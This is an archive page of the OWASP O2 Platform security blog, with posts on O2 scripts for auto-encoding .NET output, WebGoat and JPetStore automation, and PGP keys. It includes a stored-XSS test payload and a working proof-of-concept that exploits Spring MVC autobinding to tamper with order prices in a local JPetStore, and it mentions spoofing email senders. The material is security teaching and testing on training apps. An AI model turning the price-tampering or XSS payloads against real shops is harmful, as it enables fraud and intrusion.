OWASP O2 Platform Blog

39 O2 Platform videos with 12k YouTube views

After uploading the O2 Installer video, I took at look at the O2 related videos stats and was amazed to see that there were 20 subscribers with about 12,000 views of O2 related videos 🙂

Looking at the list of those videos, there are some really good gems in there, so for reference here they are:

If you want to see how I created this list, take a look at the first video or at O2 Script to get YouTube videos list

April 21, 2012 Posted by | videos | Leave a comment

O2 as an education tool: beware of spoofed emails

My daughter just got an email address and while teaching the whole “don’t answer to emails from people who you don’t know”  story she replied that she would make sure the ‘from’ address come from somebody she knew.

Well … I said … not always…. 🙂

And nothing better to prove the point than sending her an email from a very unlikely source 🙂

Screenshot from: O2 script to Send Spoofed Emails (using direct SMTP connections) 

November 8, 2011 Posted by | Misc Topics | Leave a comment

Fixing/Encoding .NET code in real time (in this case Response.Write)

Here is a example of what we should be doing on Dev’s environments in order to make security invisible/automatic to them.

This script will automatically add an Encoding function to Response.Write so that it is always encoded. In this case the patch is done in real time, but it could also be done behind the scenes or on code check in (note that if you are a developer there is no way to avoid it, since the code patch happens automatically).

The script is called “Fixing Response.Write.h2” and here is a video of it in action:

This is how it works:

1) when the script executes you will have two code windows:  on the left is the original code, on the right is the patched code (initially they both look the same)

2) make  a change on the left window  (look in line 21 on the left and line 18 on the right) and note that both windows code is syncronized

3) Unless you type Response.Write, nothing major happens to the code. Note how the Response.End() we just wrote was not changed (line 21 on left, line 18 on right), but on the previous line, the Response.Write was protected with a call to AntiXss.HtmlEncode (line 20 on left and line 17 on on right):

4) Now type on line 20 the Response.Write command (maybe with an XSS payload) and see how it is automatically wrapped in AntiXss.HtmlEncode (it is pretty cool to do this in real time 🙂  )

How does this work?

This was done using O2’s .NET Static Analysis engine which provices easy access to the code’s structure and exposes a number of helper methods to create refactored code:

//panel.clear();
//var topPanel = panel;
var topPanel = O2Gui.open<Panel>("Fixing Response.Write",1000,500);
var controls = topPanel.add_1x1("Original Code", "Patched Code");
var originalCode = controls[0].add_SourceCodeEditor();
var patchedCode = controls[1].add_SourceCodeEditor();</pre>
&nbsp;

originalCode.eDocumentDataChanged+= (text)=>
{
if (text.valid())
{
var csharpAst = text.csharpAst();
//show.info(csharpAst.CompilationUnit.iNodes<InvocationExpression>());

foreach(var invocationExpression in csharpAst.CompilationUnit.iNodes<InvocationExpression>())
{
var memberReference = invocationExpression.TargetObject as MemberReferenceExpression;
if (memberReference.notNull() && memberReference.MemberName == "Write")
{
var className = "AntiXss";
var methodName = "HtmlEncode";
var newMemberReference = new MemberReferenceExpression(new IdentifierExpression(className),methodName );
var newInvocationExpression = new InvocationExpression(newMemberReference);
newInvocationExpression.Arguments.AddRange(invocationExpression.Arguments);
invocationExpression.Arguments.Clear();
invocationExpression.Arguments.Add(newInvocationExpression );
}
csharpAst.CompilationUnit.add_Using("Microsoft.Security.Application");
}

var patchedCSharpCode = csharpAst.CompilationUnit.csharpCode();
patchedCSharpCode = @"//O2Ref:AntiXSSLibrary.dll".line() + patchedCSharpCode; // so that it compiles OK
var patchedCSharpFile = patchedCSharpCode.saveWithExtension(".cs");
patchedCode.open(patchedCSharpFile);
}
};

var originalFile = @"Request.Write.cs".local();
originalCode.open(originalFile);

//using ICSharpCode.NRefactory.Parser
//using ICSharpCode.NRefactory.Ast
//using ICSharpCode.NRefactory
//using O2.API.AST.CSharp;
//using O2.API.AST.ExtensionMethods;
//using O2.API.AST.ExtensionMethods.CSharp;
//O2Ref:O2_API_AST.dll

November 7, 2011 Posted by | .NET, Fixing Code, videos, XSS | | Leave a comment

WebGoat – First Example of O2 WebGoat API

This script and video shows a first example of the API that will be developed under O2 that will automate WebGoat’s funcionality, Lessons and Exploits

The WebGoat scripts are included in the local O2 Scripts folder and can also be seen here

Video: WebGoat – First Example of O2’s WebGoat API

Source Code: unit tests from WebGoat_BlackBox_Exploits.cs

        public string Open_Main_Page()
        {
            setup();
            webGoat.openMainPage();
            var pageHtml = ie.html();
            Assert.That(pageHtml.contains("WebGoat"),"Could not find the word WebGoat in the default page");
            if (ie.hasButton("Start WebGoat"))
                ie.button("Start WebGoat").flash().click();
            return "ok";
        }

        [Test]
        public string Exploit_Stage_1_Stored_XSS_OK()
        {
            return Exploit_Stage_1_Stored_XSS("address1");
        }

        [Test]
        public string Exploit_Stage_1_Stored_XSS_Fail()
        {
            return Exploit_Stage_1_Stored_XSS("description");
        }

        private string Exploit_Stage_1_Stored_XSS(string fieldToInsertPayload)
        {
            setup();
            var payload = "<a href=\"\" onMouseOver=\"javascript:alert('xss')\">Over me to see xss</a>";
            webGoat.openMainPage();
            ie.link("Cross-Site Scripting (XSS)").flash().click();
            ie.link("LAB: Cross Site Scripting").flash().click();
            ie.link("Stage 1: Stored XSS").flash();
            ie.field("password").flash().value("larry");
            ie.button("Login").flash().click();
            ie.selectLists()[1].options()[0].select().flash();
            ie.button("ViewProfile").flash().click();
            ie.button("EditProfile").flash().click();
            ie.field(fieldToInsertPayload).value(payload).flash();
            ie.button("UpdateProfile").flash().click();
            Assert.That(ie.html().contains("onmouseover=\"javascript:alert('xss')\""), "Payload was not inserted into page");
            return "ok";
        }

        [Test]
        public string Stage_1_Stored_XSS_Restart_Lesson()
        {
            setup();
            webGoat.openMainPage();
            ie.link("Cross-Site Scripting (XSS)").flash().click();
            ie.link("LAB: Cross Site Scripting").flash().click();
            ie.link("Stage 1: Stored XSS").flash().click();
            ie.link("Restart this Lesson").flash().click();
            return "ok";
        }

July 21, 2011 Posted by | videos, WebGoat | Leave a comment

Using OpenPGP to Easily create temp PGP keys for secure file exchange

If you need to quickly create PGP keys that you can distribute for temporary use, take a look at the O2 Script ‘tool – using openpgp to encrypt and decrypt.h2’.

This is what the main GUI looks like:

Go to ‘Create or Edit Keys’ and click on ‘Create’ (this can take a couple seconds since OpenPgp needs to get enough entropy from the local system for key generation)

Now just go to the target folder and send the public key file to your receipient.

This Gui can also be used to encrypt text:

Decrypt text:

and Encrypt/Decypt files

July 15, 2011 Posted by | Interoperability, Windows Tools | Leave a comment

Writing an O2 ‘IE Automation’ Script for JPetStore Account Creation

Here is a video and script of the interactive process of writing an O2 IE Automation Script for JPetStore.

This is is the original script as shown in the video:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

//ie.open("http://localhost:8080/jpetstore");
//ie.link("Enter the Store").click();

ie.open("http://localhost:8080/jpetstore/shop/newAccount.do");
ie.field("account.username").value("a user");
ie.field("account.password").value("pwd");
ie.field("repeatedPassword").value("pwd");
ie.field("account.firstName").value("first");
ie.field("account.lastName").value("name");
ie.field("account.address1").value("1");
ie.field("account.phone").value("2");
ie.field("account.city").value("3");
ie.field("account.state").value("4");
ie.field("account.zip").value("5");
ie.field("account.country").value("6");
ie.field("account.email").value("7");
ie.button("Save Account Information").click();

//return ie.buttons();
//ie.inject_FirebugLite();
//return ie.links();

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Which was then added to the API_JPetStore.cs as a couple createAccount(…) extension methods:

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password)
{
return jPetStore.createAccount(username, password, username,10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters());
}

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password ,
string firstName, string lastName, string address1,
string phone, string city, string state, string zip,
string country, string email)
{
jPetStore.open("/shop/newAccount.do");
var ie = jPetStore.ie;
ie.field("account.username").value(username);
ie.field("account.password").value(password);
ie.field("repeatedPassword").value(password);
ie.field("account.firstName").value(firstName);
ie.field("account.lastName").value(lastName);
ie.field("account.address1").value(address1);
ie.field("account.phone").value(phone);
ie.field("account.city").value(city);
ie.field("account.state").value(state);
ie.field("account.zip").value(zip);
ie.field("account.country").value(country);
ie.field("account.email").value(email);
ie.button("Save Account Information").click();
return jPetStore;
}

So that they can be easily consumed like this:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

var jPetStore = new API_JPetStore(ie);

jPetStore.createAccount("user12","pwd"); //create user
jPetStore.logout();                         // logout
jPetStore.login("user12","pwd____");      //should fail (wrong password)
jPetStore.login("user12","pwd");          //should work

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a screenshot of the user created with the script above (note the random values)

July 13, 2011 Posted by | IE Automation, JPetStore, Spring MVC, videos, WatiN | Leave a comment

O2 Script: ‘Spring MVC Util – View Controllers’

This Script creates a view for the Spring MVC mapping objects created by the SpringMvcMappings_v2 API.

This is a very important script since it provides a very clear view of a Spring MVC application URLs, Controllers and CommandClass

The Command Class view can be quite spectacular since it is common to find massive AutoBinded POJOs (some even with recursion)

Here is a video showing this script in action:

Here is the code:

var topPanel = O2Gui.open&amp;lt;Panel&amp;gt;(&amp;quot;Spring MVC Util - View Controllers&amp;quot;,1000,400);
//var topPanel = panel.clear().add_Panel();&amp;lt;/pre&amp;gt;
&amp;amp;nbsp;
var baseDir = PublicDI.CurrentScript.directoryName();

var xmlFile = baseDir.pathCombine(@&amp;quot;sourceCode\war\WEB-INF\petstore-servlet.xml&amp;quot;);
var mcvMappingsFile = &amp;quot;{0}.mvcMappings.xml&amp;quot;.format(xmlFile);
var webAppClassFiles = baseDir.pathCombine(&amp;quot;jPetStore.classes.zip.xml&amp;quot;);

var coreClassFiles = baseDir.pathCombine(&amp;quot;jPetStore.classes.zip.xml&amp;quot;);

Func&amp;lt;string,string,string&amp;gt; resolveGetterReturnType =
(methodName, returnType) =&amp;gt; {
&amp;quot;in resolveGetterReturnType: {0}  -    {1}&amp;quot;.debug(methodName, returnType);
if (methodName ==&amp;quot;getLineItems&amp;quot;)
return &amp;quot;org.springframework.samples.jpetstore.domain.LineItem&amp;quot;;
return returnType;
};

var mvcMappings = (mcvMappingsFile.fileExists())
? mcvMappingsFile.load&amp;lt;SpringMvcMappings&amp;gt;()
: xmlFile.springMvcMappings()
.mapCommandClass_using_XRefs(webAppClassFiles);

var xRefs = coreClassFiles.javaMetadata().map_JavaMetadata_XRefs();

var byCommandClass = mvcMappings.controllers_by_CommandClass();

var treeView = topPanel.add_TreeView_with_PropertyGrid(true).sort();
var codeViewer = topPanel.insert_Right().add_SourceCodeViewer();
Action&amp;lt;string&amp;gt; onClassSelected =
(@class) =&amp;gt; {
if (xRefs.Classes_by_Signature.hasKey(@class))
codeViewer.open(xRefs.Classes_by_Signature[@class].file());
};
var _treeView = codeViewer.insert_Above().add_TreeView_For_CommandClasses_Visualization(xRefs, onClassSelected, resolveGetterReturnType);

treeView.afterSelect&amp;lt;String&amp;gt;(
(javaClass)=&amp;gt;{
if (javaClass.valid() &amp;amp;&amp;amp; javaClass !=&amp;quot;[no commandName]&amp;quot;)
{
var file = &amp;quot;{0}.java&amp;quot;.format(javaClass.replace(&amp;quot;.&amp;quot;,&amp;quot;\\&amp;quot;));
_treeView.clear();
_treeView.add_Node(javaClass, javaClass,true);
codeViewer.open(file);
}
else
codeViewer.set_Text(&amp;quot;&amp;quot;);
});

treeView.afterSelect&amp;lt;SpringMvcController&amp;gt;(
(mvcController)=&amp;gt;{
if (mvcController.FileName.valid())
codeViewer.open(mvcController.FileName);
_treeView.clear();
if (mvcController.CommandClass.valid())
_treeView.add_Node(mvcController.CommandClass, mvcController.CommandClass,true);
});

var byCommandClassNode = treeView.add_Node(&amp;quot;by CommandClass&amp;quot;);
foreach(var mapping in     byCommandClass)
byCommandClassNode.add_Node(mapping.Key,mapping.Key)
.add_Nodes(mapping.Value);

var byJavaClassNode = treeView.add_Node(&amp;quot;by JavaClass&amp;quot;);
foreach(var mapping in  mvcMappings.controllers_by_JavaClass())
byJavaClassNode.add_Node(mapping.Key,mapping.Value);

var byUrlNode = treeView.add_Node(&amp;quot;by Url&amp;quot;);
foreach(var controller in  mvcMappings.Controllers)
byUrlNode.add_Node(controller.HttpRequestUrl,controller);

treeView.focus();
return &amp;quot;ok&amp;quot;;
//using O2.XRules.Database.Languages_and_Frameworks.J2EE
//using O2.XRules.Database.APIs.IKVM
//O2File:spring-servlet-2.0.xsd.cs
//O2File:SpringMvcMappings_v2.0.cs
//O2Ref:O2_Misc_Microsoft_MPL_Libs.dll

July 12, 2011 Posted by | JPetStore, Spring MVC, videos | Leave a comment

O2 Script for “Spring MVC JPetStore – Start Servers” (start/stop apache and hsqldb)

Part of the Spring MVC O2 demos, this script will:

  • Create a Gui to allow easy start and stop of the JPetStore servers (web and db)
  • Shows how to start an apache server and hsqldb directly (i.e. without using *.bat files)
  • Provide links to the other jPetStore Spring MVC *.h2 scripts

Here is a video of this script in action:

This script is included in the jPetStore O2 Demo Pack which can be downloaded from here (includes JPetStore and Apache):

Here is the script:

var topPanel = O2Gui.open<Panel>("JPetStore - Start Servers",1000,400);
//var topPanel = panel.clear().add_Panel();
Process hsqldbProcess = null;
Process apacheProcess = null;
var actionPanel = topPanel.insert_Above(20);
topPanel.add_LogViewer();
var ie = topPanel.insert_Right().add_IE();</pre>
&nbsp;

//Processes.getProcessesCalled("java").stop();
var currentFolder = PublicDI.CurrentScript.directoryName();

Action startServers =
()=>{
"Starting Db and Web servers".debug();
// start db server (hsqldb)
hsqldbProcess = Processes.startProcessAndRedirectIO("java",
@"-classpath .\hsqldb.jar org.hsqldb.Server -database jpetstore",
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);

//start web server (apache)
var tomcatFolder = currentFolder.pathCombine("apache-tomcat-7.0.16");
var apacheBinDirectory =  tomcatFolder.pathCombine("bin");

var apacheStartParameters = ("-Djava.util.logging.config.file=\"{0}\\conf\\logging.properties\" " +
"-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager   " +
"-Djava.endorsed.dirs=\"{0}\\endorsed\" " +
"-classpath \"{0}\\bin\\bootstrap.jar;{0}\\bin\\tomcat-juli.jar\" " +
"-Dcatalina.base=\"{0}\" -Dcatalina.home=\"{0}\" " +
"-Djava.io.tmpdir=\"{0}\\temp\" org.apache.catalina.startup.Bootstrap  start"
).format(tomcatFolder) ;

apacheProcess = Processes.startProcessAndRedirectIO("java",
apacheStartParameters,
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);
};

Action stopServers =
()=>{
"Stopping Db and Web servers".debug();
apacheProcess.stop();
hsqldbProcess.stop();
};
Action openJPetStore =
()=>{
ie.open("http://localhost:8080/jpetstore");
ie.link("Enter the Store").click();
ie.links().where((link)=> link.url().contains("FISH"))[0].click();
};
actionPanel.add_Link("Start Servers",0,0,()=>startServers())
.append_Link("Stop Servers",()=>stopServers())
.append_Link("Enter JPetStore and open a Page", ()=> openJPetStore())
.append_Link("JpetStore - BlackBox Exploits.h2" ,()=> "JpetStore - BlackBox Exploits.h2".local().executeH2Script() )
.append_Link("JPetStore - View Controllers.h2"  ,()=> currentFolder.pathCombine("JPetStore - View Controllers.h2").executeH2Script() );   ;


return "ok";

//using System.Diagnostics
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 12, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | Leave a comment

O2 Script with BlackBox exploits for Spring MVC AutoBinding vulnerabilities in JPetStore

This script ( that you can find on your local O2 Scripts folder at ‘C:\O2\O2Scripts_Database\_Scripts\_Sample_Vulnerabilities\jPetStore\JpetStore – BlackBox Exploits.h2’ ) shows a blackbox aninimation of a couple Spring MVC Autobinding vulnerabilities in the JPetStore application.

You can see a video of this script in action here:

Also see this blog post for more details: http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html  (includes a link to a white paper in this topic published in 2008 (but still very relevant))

Here is the source code of the O2 Script that creates a PoC GUI and allows the controlled execution of 3 variations of the exploits:

var topPanel = "JPetStore 'AutoBinding Vulnerability' PoC".popupWindow(1000,700);
//var topPanel = panel.clear().add_Panel();

var actionPanel = topPanel.insert_Above(40);
var ie = topPanel.add_IE_with_NavigationBar().silent(true);

var server = "http://127.0.0.1.:8080";

Action<string,string> login =
    (username, password) => {
                                ie.open(server + "/jpetstore/shop/signonForm.do");
                                ie.field("username",username);
                                ie.field("password",password);
                                ie.buttons()[1].click();
                            };

Action loginPlaceAnOrderAndGoToCheckout =
    ()=>{
            ie.open("http://127.0.0.1:8080/jpetstore");
            ie.link("Enter the Store").click();
            //login if needed
            var signOffLink = ie.links().where((link)=> link.url().contains("signonForm.do")).first();
            if(signOffLink.notNull())
            {
                signOffLink.click();
                login("j2ee", "pwd1");
            }
            ie.links().where((link)=> link.url().contains("FISH"))[0].click();
            ie.link("FI-FW-01 ").flash().click();
            ie.links().where((link)=> link.url().contains("addItemToCart"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("checkout.do"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("newOrder.do"))[0].flash().click();
        };

Action scrollToTotal =
    ()=>{
            var tdElement = ie.elements().elements("TD").toList().Where((element)=> element.innerHtml().notNull() && element.innerHtml().contains("Total:")).first();
            tdElement.scrollIntoView();
            tdElement.injectHtml_beforeEnd("<h2><p align=right>Look at the Total value from the table above (it should be 18.50)</p><h2>");
        };

Action<string> exploit_Variation_1 =
    (payload) => {
                    loginPlaceAnOrderAndGoToCheckout();
                    ie.buttons()[1].flash().click();
                    ie.open(server + "/jpetstore/shop/newOrder.do?_finish=true&" + payload);
                    scrollToTotal();
                 };

Action<string> exploit_Variation_1_SetTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}&order.lineItems[0].unitPrice=12&order.lineItems[0].quantity=12".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_2 =
    (totalPrice) => {
                        loginPlaceAnOrderAndGoToCheckout();
                        ie.field("order.billToFirstName").flash()
                          .injectHtml_afterEnd("<br>Total Price:<input type=text name='order.totalPrice' value='{0}'/>".format(totalPrice));
                        ie.buttons()[1].flash().click();
                        ie.open("http://127.0.0.1.:8080/jpetstore/shop/newOrder.do?_finish=true");
                        scrollToTotal();
                    };

//ie.disableFlashing();
var desiredPrice = "";
actionPanel.add_Label("Desired Total Price:").top(4)
           .append_TextBox("").onTextChange((text) => desiredPrice = text).set_Text("1.99")
           .append_CheckBox("Disable flashing",(value)=> { if (value) ie.disableFlashing(); else ie.enableFlashing(); })
           .append_Link("Normal Request", ()=> exploit_Variation_1("")).top(24).left(105)
           .append_Link("Exploit Variation #1 (set TotalPrice) ", ()=> exploit_Variation_1_SetTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #2 (set ItemPrice, Item Quantity and TotalPrice) ", ()=> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("loginPlaceAnOrderAndGoToCheckout; ",()=> loginPlaceAnOrderAndGoToCheckout());

ie.open("http://127.0.0.1.:8080/jpetstore");

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 11, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | 1 Comment

O2Script: Not Optimized fuzz string generator

Here is a very non-optimized fuzz string generator (a value of 5 generates about 10Million items, and one of the bottlenecks is in the use of List<string> to hold the data)

var baseChars = new List<char>();

for(var letter = 'a' ; letter < 'z' ; letter++)
    baseChars.Add(letter);

 

Func<List<char>,string, int, List<String>> generateStrings = null;
generateStrings = (chars, prefix, depth) =>    {
                                                if (depth-- > 0)
                                                {                                                   
                                                    var strings = new List<string>();
                                                    foreach(var @char in chars)                                                   
                                                        strings.Add(prefix + @char);
                                                   
                                                    var newStrings = new List<string>();
                                                    foreach(var @string in strings)                                                                       
                                                        newStrings.AddRange(generateStrings(chars, @string, depth));   
                                                    strings.AddRange(newStrings);
                                                    return strings;
                                                }
                                                return new List<string>();
                                              };
                                 
var fuzzStrings =     generateStrings(baseChars, "", 4); 
return fuzzStrings.size();

April 4, 2011 Posted by | Misc Topics | 1 Comment